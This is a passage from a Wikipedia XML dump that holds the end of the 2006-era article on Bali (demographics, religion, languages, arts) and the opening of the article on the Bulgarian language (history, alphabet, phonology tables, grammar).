On [[October 12]] [[2002]], there was a [[2002 Bali terrorist bombing|car bomb attack]] in the tourist resort of [[Kuta]], killing 202 people, mostly foreign tourists. Another series of bombings occurred nearly three years later at Kuta and nearby Jimbaran; see [[2005 Bali bombings]].

==Demographics==
Bali is a richly diverse island of approximately 3.57 million people ([[As of 2003|2003]] statistics).

===Religion===
Unlike most of [[Islam|Muslim]]-majority Indonesia, about 92% of Bali's population adheres to [[Balinese Hinduism]], formed as a combination of existing [[Balinese mythology|local beliefs]] and [[Hindu]] influences from mainland [[Southeast Asia]] and [[South Asia]]. Minority religions include [[Islam]] (5.7%), [[Christianity]] (1.4%), and [[Buddhism]] (0.6%) ([[As of 2003|2003]] statistics).

===Language===
[[Balinese language|Balinese]] and [[Indonesian language|Bahasa Indonesian]] are the most widely spoken [[language]]s in Bali, and many Balinese people are [[bilingual]] or even [[trilingual]]. [[English language|English]] is a common third language owing to the island's large [[tourism industry]].

Balinese is a rich and diverse language reflecting the population. In the past, the language was heavily influenced by the [[Balinese caste system]], but this is becoming less and less pronounced.

===Culture===
Bali is famous for the arts, both the performing arts as well as painting, scuplture, and woodcarving. Balinese [[gamelan]] music is highly developed and varied.  &lt;!--Balinese dance is also highly developed and considered by many to be one of the world's finest artistic traditions--&gt;. The dances portray stories from Hindu Epics such as Ramayana. Famous Balinese dances include [[Pendet]], [[legong]], [[baris (dance)]], [[topeng]], [[barong]], Kecak (the fire dance) and many others. The problem Bali's culture is facing today is from the toursim industry. Today the culture is slowly oriented to attract tourists; its original form is gradually fading away. One can project Bali to become like another Hawaii.

==See also==

* [[Balinese people]]
* [[Balinese language]]
* [[Balinese Hinduism]]
* [[Balinese mythology]]
* [[Balinese caste system]]
* [[Culture of Indonesia]]
* [[History of Indonesia]]
* [[Bali bombings]]

==External links==
{{commonscat|Bali}}
* [http://www.bbc.co.uk/weather/world/southeast_asia/ Average weather conditions]
* [http://wikitravel.org/en/Bali Bali travel guide] at [http://wikitravel.org/en/Main_Page Wikitravel]
* [http://ivebeentobalitoo.blogspot.com/ I've been to Bali too (blog looking at real Bali culture)]
* [http://www.baliblog.com/ Bali Blog] - Coverage of daily life, news, and things to do in Bali
* [http://www.agnihoma.com/ Agnihoma.com | About Hindu Bali Religion and Balinese Tradition, Ritual and Ceremony]

==References==
* Miguel Covarrubias, ''Island of Bali'', 1946. ISBN 9625930604

{{Indonesia}}

[[Category:Bali| ]]
[[Category:Islands of Indonesia]]
[[Category:Provinces of Indonesia]]
[[ar:بالي]]
[[da:Bali]]
[[de:Bali]]
[[et:Bali]]
[[es:Bali]]
[[eo:Balio]]
[[fa:بالی]]
[[fr:Bali]]
[[ko:발리 섬]]
[[id:Bali]]
[[it:Bali]]
[[he:באלי]]
[[lt:Balis]]
[[ms:Bali]]
[[nl:Bali (Indonesië)]]
[[ja:バリ島]]
[[no:Bali]]
[[nn:Bali]]
[[pl:Bali (wyspa)]]
[[pt:Bali]]
[[ro:Bali]]
[[ru:Бали]]
[[scn:Bali]]
[[simple:Bali]]
[[sl:Bali]]
[[fi:Bali]]
[[sv:Bali]]
[[zh:巴厘岛]]</text>
    </revision>
  </page>
  <page>
    <title>Bulgarian language</title>
    <id>4149</id>
    <revision>
      <id>41931696</id>
      <timestamp>2006-03-02T18:35:05Z</timestamp>
      <contributor>
        <username>Komitata</username>
        <id>1018424</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Bulgarian
|nativename=Български ''Bǎlgarski''
|familycolor=Indo-European
|states=[[Bulgaria]], [[Ukraine]], [[Moldova]], the [[Western Outlands]] region in [[Serbia and Montenegro]], [[Romania]], [[Republic of Macedonia]], [[Greece]] and among emigrant communities around the world
|region=[[The Balkans]]
|speakers=approx. 10 million, incl. 1.5–2 million second-language speakers
|fam2=[[Balto-Slavic languages|Balto-Slavic]]
|fam3=[[Slavic languages|Slavic]]
|fam4=[[South Slavic]]
|fam5=Eastern South Slavic
|nation=[[Bulgaria]]
|agency=[http://www.ibl.bas.bg/index.htm Institute of Bulgarian] at the Bulgarian Academy of Sciences (Институт за български език) 
|iso1=bg|iso2=bul|iso3=bul}}

'''Bulgarian''' is an [[Indo-European languages|Indo-European language]], a member of the [[South Slavic|Southern]] branch of the [[Slavic languages]]. Bulgarian demonstrates several linguistic innovations that set it apart from other Slavic languages, such as the elimination of noun [[declension]], the development of a suffixed [[definite article]] (see [[Balkan linguistic union]]), the lack of a verb [[infinitive]], and the retention and further development of the [[proto-Slavic]] verb system. There are various verb forms to express nonwitnessed, retold, and doubtful action.

Bulgarian is part of the [[Balkan linguistic union]], which also includes the closely related [[Macedonian language|Macedonian]], as well as [[Greek language|Greek]], [[Romanian language|Romanian]], [[Albanian language|Albanian]] and some [[Serbian language|Serbian]] dialects. The prelevant opinion in Bulgaria is that the language in [[Republic of Macedonia]] is an other literary variant of Bulgarian language. Most of these languages share some of the above-mentioned characteristics (e.g., definite article, infinitive loss, complicated verb system) and many more. The &quot;nonwitnessed action&quot; verb forms, pertaining to a mood known as [[renarrative mood]], have been attributed to Turkish influences by most Bulgarian linguists. Morphohologically, they are obviously related to the perfect tenses, which are known in Bulgarian linguistic tradition as &quot;preliminary&quot; (''предварителни'') tenses.

== History ==
{{main|History of Bulgarian}}

The development of the Bulgarian language may be divided into several historical periods. The prehistoric period (essentially proto-Slavic) occurred between the Slavonic invasion of the eastern Balkans and the mission of [[St. Cyril]] and [[St. Methodius]] to Great Moravia in the 860s. '''[[Old Bulgarian]]''' (9th to 11th century, also referred to as [[Old Church Slavonic]]) was the language used by [[St. Cyril]], [[St. Methodius]] and their disciples to translate the [[Bible]] and other liturgical literature from [[Greek language|Greek]]. '''Middle Bulgarian''' (12th to 15th century) was a language of rich literary activity and major innovations. '''Modern Bulgarian''' dates from the 16th century onwards; the present-day written language was standardized on the basis of the 19th-century Bulgarian vernacular. The historical development of the Bulgarian language can be described as a transition from a highly [[synthetic language]] (Old Bulgarian) to a typical [[analytic language]] (Modern Bulgarian) with Middle Bulgarian as a midpoint in this transition.

Fewer than 20 words remain in Bulgarian from the language of the [[Bulgars]], the Central Asian people who moved into present-day Bulgaria and eventually adopted the local Slavic language. The [[Bolgar language]], a member of the Turkic  language family or the Iranian language family ([[Pamir languages]]), is otherwise unrelated to Bulgarian.

Old Bulgarian was the first Slavic language attested in writing. As Slavic linguistic unity lasted into late antiquity, in the oldest manuscripts this language was initially referred to as &lt;u&gt;языкъ словяньскъ&lt;/u&gt;, &quot;the Slavic language&quot;. In the Middle Bulgarian period this name was gradually replaced by the name &lt;u&gt;языкъ блъгарьскъ&lt;/u&gt;, the &quot;Bulgarian language&quot;. In some cases, the name &lt;u&gt;языкъ блъгарьскъ&lt;/u&gt; was used not only with regard to the contemporary Middle Bulgarian language of the copyist but also to the period of Old Bulgarian. A most notable example of anachronism is the Service of [[St. Cyril]] from Skopje (&lt;u&gt;Скопски миней&lt;/u&gt;), a 13th century Middle Bulgarian manuscript from northern [[Macedonia (region)|Macedonia]] according to which St. Cyril preached with &quot;Bulgarian&quot; books among the Moravian Slavs. The first mention of the language as the &quot;Bulgarian language&quot; instead of the &quot;Slavonic language&quot; comes in the work of the Greek clergy of the [[Bulgarian Archbishopric of Ohrid]] in the [[11th century]], for example in the [[Greek language|Greek]] hagiography of [[Saint Clement of Ohrid]] by [[Theophylact of Bulgaria|Theophylact]] of Ohrid (late 11th century).

During the Middle Bulgarian period, the language underwent dramatic changes, losing the Old Slavonic case system, but preserving the rich verb system (while the development was exactly the opposite in most other Slavic languages) and developing a definite article. It was influenced by its non-Slavic neighbours in the [[Balkan linguistic union]] (mostly grammatically) and later also by [[Turkish language|Turkish]], which was the official language of [[Ottoman empire]] in the form of the [[Ottoman language]] (an earlier former of Turkish), mostly lexically. As a national revival occurred towards the end of the period of Ottoman rule (mostly during the 19th century), a modern Bulgarian literary language gradually emerged which drew heavily on [[Russian language|Russian]] and [[Old Church Slavonic language|Church Slavonic/Old Bulgarian]] and which later reduced the number of Turkish and other Balkanic loans. 

Modern Bulgarian was based essentially on the Eastern dialects of the language, but its pronunciation is in many respects a compromise between East and West Bulgarian (see especially the phonetic sections below).

== Alphabet ==

In [[886]] AD, Bulgaria adopted the [[Glagolitic alphabet]] which was devised by the Byzantine missionaries [[Saint Cyril]] and [[Saint Methodius|Methodius]] in the [[850s]]. The [[Glagolitic alphabet]] was gradually superseded in the following centuries by the [[Cyrillic alphabet]], which was developed around the [[Preslav Literary School]] in the beginning of the [[10th century]]. Most of the letters in the [[Cyrillic alphabet]] were borrowed from the [[Greek alphabet]]; those which had no Greek equivalents, however, represent simplified Glagolitic letters.

Under the influence of printed books from Russia, the Russian &quot;civil script&quot; of Peter I (see [[Reforms of Russian orthography]]) replaced the old Middle Bulgarian/[[Church Slavonic]] script at the end of the [[18th century]]. Several Cyrillic alphabets with 28 to 44 letters were used in the beginning and the middle of the [[19th century]] during the efforts on the codification of Modern Bulgarian until an alphabet with 32 letters, proposed by [[Marin Drinov]], gained prominence in the [[1870s]]. The alphabet of Marin Drinov was used until the orthographic reform of [[1945]] when the letters [[yat]] {{Unicode|([[Yat|Ѣ]], ѣ,}} called &quot;double e&quot;), and [[yus]] {{Unicode|([[Big Yus|Ѫ]], ѫ)}} were removed from the alphabet. The present Bulgarian alphabet has 30 letters.

The following table gives the letters of the Bulgarian alphabet, along with [[International Phonetic Alphabet|IPA]] values for the sound of each letter:

{| align=center cellpadding=6 cellspacing=0 style=&quot;text-align:center;&quot;
|-
|[[A (Cyrillic)|'''А а''']]&lt;br&gt;{{IPA|/a/}}||[[Be (Cyrillic)|'''Б б''']]&lt;br&gt;{{IPA|/b/}}||[[Ve (Cyrillic)|'''В в''']]&lt;br&gt;{{IPA|/v/}}||[[Ge (Cyrillic)|'''Г г''']]&lt;br&gt;{{IPA|/g/}}||[[De (Cyrillic)|'''Д д''']]&lt;br&gt;{{IPA|/d/}}||[[Ye (Cyrillic)|'''Е е''']]&lt;br&gt;{{IPA|/ɛ/}}||[[Zhe (Cyrillic)|'''Ж ж''']]&lt;br&gt;{{IPA|/ʒ/}}||[[Ze (Cyrillic)|'''З з''']]&lt;br&gt;{{IPA|/z/}}||[[I (Cyrillic)|'''И и''']]&lt;br&gt;{{IPA|/i/}}||[[Short I|'''Й й''']]&lt;br&gt;{{IPA|/j/}}
|-
|[[Ka (Cyrillic)|'''К к''']]&lt;br&gt;{{IPA|/k/}}||[[El (Cyrillic)|'''Л л''']]&lt;br&gt;{{IPA|/l/}}||[[Em (Cyrillic)|'''М м''']]&lt;br&gt;{{IPA|/m/}}||[[En (Cyrillic)|'''Н н''']]&lt;br&gt;{{IPA|/n/}}||[[O (Cyrillic)|'''О о''']]&lt;br&gt;{{IPA|/ɔ/}}||[[Pe (Cyrillic)|'''П п''']]&lt;br&gt;{{IPA|/p/}}||[[Er (Cyrillic)|'''Р р''']]&lt;br&gt;{{IPA|/r/}}||[[Es (Cyrillic)|'''С с''']]&lt;br&gt;{{IPA|/s/}}||[[Te (Cyrillic)|'''Т т''']]&lt;br&gt;{{IPA|/t/}}||[[U (Cyrillic)|'''У у''']]&lt;br&gt;{{IPA|/u/}}
|-
|[[Ef (Cyrillic)|'''Ф ф''']]&lt;br&gt;{{IPA|/f/}}||[[Kha (Cyrillic)|'''Х х''']]&lt;br&gt;{{IPA|/x/}}||[[Tse (Cyrillic)|'''Ц ц''']]&lt;br&gt;{{IPA|/ʦ/}}||[[Che (Cyrillic)|'''Ч ч''']]&lt;br&gt;{{IPA|/tʃ/}}||[[Sha|'''Ш ш''']]&lt;br&gt;{{IPA|/ʃ/}}||[[Shcha|'''Щ щ''']]&lt;br&gt;{{IPA|/ʃt/}}||[[Hard sign|'''Ъ ъ''']]&lt;br&gt;{{IPA|/ɤ/}}||[[Soft sign|'''Ь ь''']]&lt;sup&gt;1&lt;/sup&gt;&lt;br&gt;{{IPA|/ʲ/}}||[[Yu (Cyrillic)|'''Ю ю''']]&lt;br&gt;{{IPA|/ju/}}||[[Ya (letter)|'''Я я''']]&lt;br&gt;{{IPA|/ja/}}
|}

&lt;sup&gt;1&lt;/sup&gt; softens consonants before 'o'

Most letters in the Bulgarian alphabet stand for one specific sound and that sound only. Three letters stand for the single expression of combinations of sounds, namely [[Shcha|щ]] (sht), [[Yu|ю]] (yu), and [[Ya|я]] (ya). Two sounds do not have separate letters assigned to them, but are expressed by the combination of two letters, namely &lt;u&gt;дж&lt;/u&gt; (like j in Jack) and &lt;u&gt;дз&lt;/u&gt; (dz). The letter &lt;u&gt;ь&lt;/u&gt; is not pronounced, but it softens (palatalizes) any preceding consonant before the letter &lt;u&gt;о&lt;/u&gt;.

For questions regarding the transliteration of Bulgarian into the Latin alphabet ([[romanization]]), see [[romanization of Bulgarian]].

==Phonology==

===Vowels===
[[Image:Bulgarian vowel chart.png|right|Standard Bulgarian vowels]]
{| border=&quot;1&quot; cellpadding=&quot;3&quot; style=&quot;border-collapse: collapse; text-align: center;&quot;
|-
!
!Front
!Central
!Back
|-
|High
|'''и''' {{IPA|/i/}}
|
|'''у''' {{IPA|/u/}}
|-
|Mid
|'''е''' {{IPA|/ɛ/}}
|'''ъ''' {{IPA|/ɤ/}}
|'''о''' {{IPA|/ɔ/}}
|-
|Low
|
|'''а''' {{IPA|/a/}}
|
|}

Bulgarian's six vowels may be grouped in three pairs according to their backness: front, central and back. All vowels are relatively lax, as in most other [[Slavic languages]], and unlike the tense vowels, for example, in the [[Germanic languages]]. Unstressed vowels tend to be shorter and weaker compared to their stressed counterparts, the corresponding pairs of open and closed vowels approaching each other with a tendency to merge, although the coalescence is not always complete. The vowels may be distinguished in emphatic or deliberately distinct pronunciation, and the variation of the norm is socially conditioned, too: on the one hand, the relative absence of reduction is intuitively associated with certain types of low-status (provincial, especially West Bulgarian, or [[Romani]]-influenced) speech; on the other hand the awareness of the distinctions is naturally perceived as a sign of literacy and education. The merger is, at least in nondialectal pronunciation, totally accomplished for {{IPA|/a/}} and {{IPA|/ɤ/}} in all positions (except, occasionally and for some speakers, in a syllable immediately preceding another {{IPA|/a/}}). Unstressed {{IPA|/ɔ/}} also tends to be pronounced like {{IPA|/u/}} (phonetically {{IPA|[o]}}?) (the difference is either minimal or nonexistent in pre-stress position and totally absent after stress), but the status of that coalescence is less clear, perhaps because post-stress {{IPA|/u/}} is not very common in the first place. The considerable reduction of {{IPA|/ɛ/}} notwithstanding, similar coalescence of {{IPA|/ɛ/}} and {{IPA|/i/}} is not allowed in formal speech and is definitely regarded as a provincial (East Bulgarian) feature; rather, the acoustic impression of unstressed and above all post-stress {{IPA|/ɛ/}} might occasionally resemble a more front form of {{IPA|/ɤ/}}.

===Semivowels===
Bulgarian possesses one [[semivowel]]: {{IPA|/j/}}, equivalent to the English &lt;'''y'''&gt; in ''yes''. The {{IPA|/j/}} always immediately precedes or follows a vowel. The semivowel is most usually expressed graphically by the letter '''[[Short I|й]]''', as, for example, in &lt;u&gt;най&lt;/u&gt; /naj/ (&quot;most&quot;) and &lt;u&gt;тролей&lt;/u&gt; {{IPA|/trɔlɛj/}} (&quot;trolleybus&quot;). The letters &lt;u&gt;ю&lt;/u&gt; and &lt;u&gt;я&lt;/u&gt; are, however, also used, for example, &lt;u&gt;ютия&lt;/u&gt; /jutija/ &quot;(flat) iron&quot;. After a consonant, &lt;u&gt;ю&lt;/u&gt; and &lt;u&gt;я&lt;/u&gt; signify a palatalized consonant rather than a semivowel: &lt;u&gt;бял&lt;/u&gt; /{{IPA|bʲal/}} &quot;white&quot;.

===Consonants===
Bulgarian has a total of 33 consonant [[phonemes]] (see table below). Three additional phonemes can also be found ([{{IPA|x&amp;#690;}}], {{IPA|[&amp;#675;]}} and {{IPA|[&amp;#675;&amp;#690;]}}), but only in foreign [[proper names]] such as &lt;u&gt;Хюстън&lt;/u&gt; {{IPA|/xʲustɤn/}} (&quot;Houston&quot;), &lt;u&gt;Дзержински&lt;/u&gt; {{IPA|/dzɛrʒinski/}} (&quot;Dzerzhinsky&quot;), and &lt;u&gt;Ядзя&lt;/u&gt; /{{IPA|jaʣʲ}}a/, the Polish name &quot;Jadzia&quot;. They are, however, normally not considered part of the phonetic inventory of the Bulgarian language. According to the criterion of sonority, the Bulgarian consonants may be divided into 16 pairs (voiced&lt;&gt;voiceless). The only consonant without a counterpart is the [[voiceless velar fricative]] [x]. The contrast 'voiced vs. voiceless' is neutralized in word-final position, where all consonants are pronounced as voiceless (as in most Slavic languages, German, etc.); this neutralization is, however, not reflected in the spelling. 

====Hard and palatalized consonants====
The Bulgarian consonants '''б''' {{IPA|/b/}}, '''в''' {{IPA|/v/}}, '''г''' {{IPA|/g/}}, '''д''' {{IPA|/d/}}, '''з''' {{IPA|/z/}}, '''к''' {{IPA|/k/}}, '''л''' {{IPA|/l/}}, '''м''' {{IPA|/m/}}, '''н''' {{IPA|/n/}}, '''п''' {{IPA|/p/}}, '''р''' {{IPA|/r/}}, '''с''' {{IPA|/s/}}, '''т''' {{IPA|/t/}}, '''ф''' {{IPA|/f/}}, '''ц''' {{IPA|/ʦ/}} can have both a normal, &quot;hard&quot; pronunciation, as well as a &quot;soft&quot;, palatalized one. The hard and the palatalized consonants are considered separate [[phonemes]] in Bulgarian. The consonants '''ж''' {{IPA|/ʒ/}}, '''ш''' {{IPA|/ʃ/}}, '''ч''' {{IPA|/ʧ/}} and '''дж''' {{IPA|/ʤ/}} do not have palatalized variants, which is probably connected with the fact that they have arisen historically through palatalization in common Slavic. These consonants may be realized with different grades of hardness or softness, depending on speaker and dialect; a relatively neutral realization is perceived as standard.

The softness of the palatalized consonants is always indicated in writing in Bulgarian. A consonant is palatalized if:
*it is followed by the soft sign '''ь''';
*it is followed by the letters '''я''' {{IPA|/&amp;nbsp;ʲa/}} or '''ю''' {{IPA|/&amp;nbsp;ʲu/}};

('''я''' and '''ю''' are used in all other cases to represent the semivowel /j/ before /a/ and /u/.)

Even though palatalized consonants are phonemes in Bulgarian, they may in some cases be positionally conditioned, hence redundant. In Eastern Bulgarian dialects, consonants are always allophonically palatalized before the vowels {{IPA|/i/}} and {{IPA|/ɛ/}}. This is not the case in correct Standard Bulgarian, but that form of the language does have similar allophonic alternations. Thus, '''к''' {{IPA|/k/}}, '''г''' {{IPA|/g/}} and '''х''' {{IPA|/x/}} tend to be palatalized before {{IPA|/i/}} and {{IPA|/ɛ/}}, and the realization of the phoneme '''л''' {{IPA|/l/}} varies along the same principles: it is [[velarization|velarized]] in all positions, except before the vowels {{IPA|/i/}} and {{IPA|/ɛ/}}. The normal, non-velarized realization is traditionally (and incorrectly) called 'soft l', even though it is ''not'' palatalized (and thus ''isn’t'' identical to the {{IPA|/lʲ/}} signalled by the letters '''ь''', '''я''' and '''ю'''). In many Western Bulgarian dialects, as well as in the neighbouring [[Serbian language]], this 'pseudo-soft' realization does not exist and the nonpalatalized {{IPA|/l/}} is always velarized regardless of the quality of the following vowels.

====Palatalization====
During the [[palatalization]] of most hard consonants (the bilabial, labiodental and alveolar ones), the middle part of the tongue is lifted towards the palatum, resulting in the formation of a second articulatory centre whereby the specific palatal &quot;clang&quot; of the soft consonants is achieved. The articulation of alveolars {{IPA|/l/}}, {{IPA|/n/}} and {{IPA|/r/}}, however, usually does not follow that rule; the palatal clang is achieved by moving the place of articulation further back towards the palatum so that {{IPA|/ʎ/}}, {{IPA|/ɲ/}} and {{IPA|/rʲ/}} are actually alveopalatal (postalvelolar) consonants. Soft {{IPA|/g/}} and {{IPA|/k/}} ({{IPA|/gʲ/}} and {{IPA|/kʲ/}}, respectively) are articulated not on the velum but on the palatum and are considered [[palatal consonants]].

====Table of Bulgarian consonants====
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|-
! '''Cyrillic script'''
! '''[[International Phonetic Alphabet|IPA]]'''
! '''Description'''
! '''English approximation'''
|-
| align=&quot;center&quot; | '''б'''
| align=&quot;center&quot; | {{IPA|[b]}}
| [[voiced bilabial plosive]]
| ''&lt;u&gt;b&lt;/u&gt;oom''
|-
| align=&quot;center&quot; | '''бьо'''/'''бю'''/'''бя'''
| align=&quot;center&quot; | {{IPA|[b&amp;#690;]}}
| [[voiced palatalized bilabial plosive]]
| ''&lt;u&gt;b&lt;/u&gt;eauty''
|-
| align=&quot;center&quot; | '''в'''
| align=&quot;center&quot; | {{IPA|[v]}}
| [[voiced labiodental fricative]]
| ''&lt;u&gt;v&lt;/u&gt;ase''
|-
| align=&quot;center&quot; | '''вьо'''/'''вю'''/'''вя'''
| align=&quot;center&quot; | {{IPA|[v&amp;#690;]}}
| [[voiced palatalized labiodental fricative]]
| ''&lt;u&gt;v&lt;/u&gt;iew''
|-
| align=&quot;center&quot; | '''г'''
| align=&quot;center&quot; | {{IPA|[g]}}
| [[voiced velar plosive]]
| ''&lt;u&gt;g&lt;/u&gt;ame''
|-
| align=&quot;center&quot; | '''гьо'''/'''гю'''/'''гя'''
| align=&quot;center&quot; | {{IPA|[g&amp;#690;]}}
| [[voiced palatal plosive]]
| ''a&lt;u&gt;g&lt;/u&gt;ue''
|-
| align=&quot;center&quot; | '''д'''
| align=&quot;center&quot; | {{IPA|[d]}}
| [[voiced alveolar plosive]]
| ''&lt;u&gt;d&lt;/u&gt;ay''
|-
| align=&quot;center&quot; | '''дьо'''/'''дю'''/'''дя'''
| align=&quot;center&quot; | {{IPA|[d&amp;#690;]}}
| [[voiced postalveolar plosive]]
| ''nee&lt;u&gt;d&lt;/u&gt; you''
|-
| align=&quot;center&quot; | '''ж'''
| align=&quot;center&quot; | {{IPA|[&amp;#658;]}}
| [[voiced postalveolar fricative]]
| ''vi&lt;u&gt;si&lt;/u&gt;on''
|-
| align=&quot;center&quot; | '''дж'''
| align=&quot;center&quot; | {{IPA|[&amp;#676;]}}
| [[voiced postalveolar affricate]]
| ''&lt;u&gt;j&lt;/u&gt;ack''
|-
| align=&quot;center&quot; | '''з'''
| align=&quot;center&quot; | {{IPA|[z]}}
| [[voiced alveolar fricative]]
| ''&lt;u&gt;z&lt;/u&gt;one''
|-
| align=&quot;center&quot; | '''зьо'''/'''зю'''/'''зя'''
| align=&quot;center&quot; | {{IPA|[z&amp;#690;]}}
| [[voiced palatalized alveolar fricative]]
| ''a&lt;u&gt;s&lt;/u&gt; you''
|-
| align=&quot;center&quot; | '''к'''
| align=&quot;center&quot; | {{IPA|[k]}}
| [[voiceless velar plosive]]
| ''&lt;u&gt;c&lt;/u&gt;ome''
|-
| align=&quot;center&quot; | '''кьо'''/'''кю'''/'''кя'''
| align=&quot;center&quot; | {{IPA|[k&amp;#690;]}}
| [[voiceless palatal plosive]]
| ''&lt;u&gt;c&lt;/u&gt;ure''
|-
| align=&quot;center&quot; | '''л'''
| align=&quot;center&quot; | {{IPA|[l]}}
| [[lateral alveolar approximant]]
| ''&lt;u&gt;l&lt;/u&gt;ove''
|-
| align=&quot;center&quot; | '''льо'''/'''лю'''/'''ля'''
| align=&quot;center&quot; | {{IPA|[&amp;#654;]}}
| [[palatal lateral approximant]]
| ''vo&lt;u&gt;lu&lt;/u&gt;me''
|-
| align=&quot;center&quot; | '''м'''
| align=&quot;center&quot; | {{IPA|[m]}}
| [[bilabial nasal]]
| ''&lt;u&gt;m&lt;/u&gt;an''
|-
| align=&quot;center&quot; | '''мьо'''/'''мю'''/'''мя'''
| align=&quot;center&quot; | {{IPA|[m&amp;#690;]}}
| [[palatalized bilabial nasal]]
| ''&lt;u&gt;m&lt;/u&gt;eow''
|-
| align=&quot;center&quot; | '''н'''
| align=&quot;center&quot; | {{IPA|[n]}}
| [[alveolar nasal]]
| ''&lt;u&gt;n&lt;/u&gt;o''
|-
| align=&quot;center&quot; | '''ньо'''/'''ню'''/'''ня'''
| align=&quot;center&quot; | {{IPA|[&amp;#626;]}}
| [[palatal nasal]]
| ''ca&lt;u&gt;ny&lt;/u&gt;on''
|-
| align=&quot;center&quot; | '''п'''
| align=&quot;center&quot; | {{IPA|[p]}}
| [[voiceless bilabial plosive]]
| ''&lt;u&gt;p&lt;/u&gt;ark''
|-
| align=&quot;center&quot; | '''пьо'''/'''пю'''/'''пя'''
| align=&quot;center&quot; | {{IPA|[p&amp;#690;]}}
| [[voiceless palatalized bilabial plosive]]
| ''&lt;u&gt;P&lt;/u&gt;yong-yang''
|-
| align=&quot;center&quot; | '''р'''
| align=&quot;center&quot; | {{IPA|[r]}}
| [[alveolar trill]]
| rolled (vibrating) '''r''' as in Spanish ''ca&lt;u&gt;rr&lt;/u&gt;amba''
|-
| align=&quot;center&quot; | '''рьо'''/'''рю'''/'''ря'''
| align=&quot;center&quot; | {{IPA|[r&amp;#690;]}}
| [[palatal trill]] (palatoalveolar trill)
| rolled (vibrating) '''r''' as in Spanish ''&lt;u&gt;r&lt;/u&gt;iesga''
|-
| align=&quot;center&quot; | '''с'''
| align=&quot;center&quot; | {{IPA|[s]}}
| [[voiceless alveolar fricative]]
| ''&lt;u&gt;s&lt;/u&gt;on''
|-
| align=&quot;center&quot; | '''сьо'''/'''сю'''/'''ся'''
| align=&quot;center&quot; | {{IPA|[s&amp;#690;]}}
| [[voiceless palatalized alveolar fricative]]
| ''ki&lt;u&gt;ss&lt;/u&gt; you''
|-
| align=&quot;center&quot; | '''т'''
| align=&quot;center&quot; | {{IPA|[t]}}
| [[voiceless alveolar plosive]]
| ''&lt;u&gt;t&lt;/u&gt;ake''
|-
| align=&quot;center&quot; | ''' тьо'''/''' тю'''/''' тя'''
| align=&quot;center&quot; | {{IPA|[t&amp;#690;]}}
| [[voiceless postalveolar plosive]]
| ''atti&lt;u&gt;t&lt;/u&gt;ude''
|-
| align=&quot;center&quot; | '''ф'''
| align=&quot;center&quot; | {{IPA|[f]}}
| [[voiceless labiodental fricative]]
| ''&lt;u&gt;ph&lt;/u&gt;ase''
|-
| align=&quot;center&quot; | '''фьо'''/'''фю'''/'''фя'''
| align=&quot;center&quot; | {{IPA|[f&amp;#690;]}}
| [[voiceless palatalized labiodental fricative]]
| ''&lt;u&gt;f&lt;/u&gt;ew''
|-
| align=&quot;center&quot; | '''х'''
| align=&quot;center&quot; | {{IPA|[x]}} 
| [[voiceless velar fricative]]
| ''lo&lt;u&gt;ch&lt;/u&gt;''
|-
| align=&quot;center&quot; | '''ц'''
| align=&quot;center&quot; | {{IPA|[&amp;#678;]}}
| [[voiceless alveolar affricate]]
| ''&lt;u&gt;ts&lt;/u&gt;''unami
|-
| align=&quot;center&quot; | '''цьо'''/'''цю'''/'''ця'''
| align=&quot;center&quot; | {{IPA|[&amp;#678;&amp;#690;]}}
| [[voiceless alveolar affricate]]
| ''le&lt;u&gt;ts&lt;/u&gt; you''
|-
| align=&quot;center&quot; | '''ч'''
| align=&quot;center&quot; | {{IPA|[&amp;#679;]}}
| [[voiceless postalveolar affricate]]
| ''&lt;u&gt;ch&lt;/u&gt;ina''
|-
| align=&quot;center&quot; | '''ш'''
| align=&quot;center&quot; | {{IPA|[&amp;#643;]}}
| [[voiceless postalveolar fricative]]
| ''&lt;u&gt;sh&lt;/u&gt;ake''
|}

====Word stress====
Bulgarian [[lexical stress|word stress]] is '''dynamic'''. Stressed syllables are louder and longer than unstressed ones. Stress is also '''free''' and '''mobile''', it may fall on any syllable of a polysyllabic word and its position may vary in inflection and derivation, for example, &lt;u&gt;мъж&lt;/u&gt; /{{IPA|mɤʃ}}/ (&quot;man&quot;), &lt;u&gt;мъжът&lt;/u&gt; /{{IPA|mɤ'ʒɤt}}/ (&quot;the man&quot;). Bulgarian stress is also '''distinctive''': for example, &lt;u&gt;в'ълна&lt;/u&gt; /{{IPA|'vɤlna}}/ (&quot;wool&quot;) and &lt;u&gt;вълн'а&lt;/u&gt; /{{IPA|vɤl'na}}/ (&quot;wave&quot;) are only differentiated by stress.

== Grammar ==
There is some more information at [[Bulgarian grammar]]

The parts of speech in Bulgarian are divided in 10 different types, which are categorized in two broad classes: mutable and immutable. The difference is that mutable parts of speech vary grammatically, whereas the immutable ones do not change, regardless of their use. The five classes of mutables are: '''nouns''', '''adjectives''', '''numerals''', '''pronouns''' and '''verbs'''.  Syntactically, the first four of these form the group of the noun or the nominal group. The immutables are: '''adverbs''', '''prepositions''', '''conjunctions''', '''particles''' and '''interjections'''. Verbs and adverbs form the group of the verb or the verbal group.

===Nominal morphology===
Nouns, adjectives and pronouns are inflected for '''[[grammatical gender]]''', '''[[grammatical number|number]]''', '''[[grammatical case|case]]''' (to a very limited extent) and '''[[definite article|definiteness]]''' in Bulgarian. Adjectives and adjectival pronouns agree with nouns in number and gender.

====Nominal inflection====

=====Gender=====
There are three grammatical genders in Bulgarian: '''masculine''', '''feminine''' and '''neuter'''. The gender of the noun can largely be determined according to its ending. The vast majority of Bulgarian nouns ending in a consonant ('''zero ending''') are '''masculine''' (for example, &lt;u&gt;град&lt;/u&gt; “city”, &lt;u&gt;син&lt;/u&gt; “son”, &lt;u&gt;мъж&lt;/u&gt; “man”). '''Feminine''' nouns include almost all nouns that have the endings '''–а/–я''' (&lt;u&gt;жена&lt;/u&gt; “woman”, &lt;u&gt;дъщеря&lt;/u&gt; “daughter”, &lt;u&gt;улица&lt;/u&gt; “street”), a large group of nouns with zero ending expressing quality, degree or an abstraction, including all nouns ending on '''&lt;u&gt;–ост&lt;/u&gt;'''/'''&lt;u&gt;–ест&lt;/u&gt;''' (&lt;u&gt;мъдрост&lt;/u&gt; “wisdom”, &lt;u&gt;низост&lt;/u&gt; “vileness”, &lt;u&gt;прелест&lt;/u&gt; &quot;loveliness&quot;, &lt;u&gt;болест&lt;/u&gt; &quot;sickness&quot;, &lt;u&gt;любов&lt;/u&gt; “love”), and another, much smaller group of irregular nouns with zero ending which define tangible objects or concepts 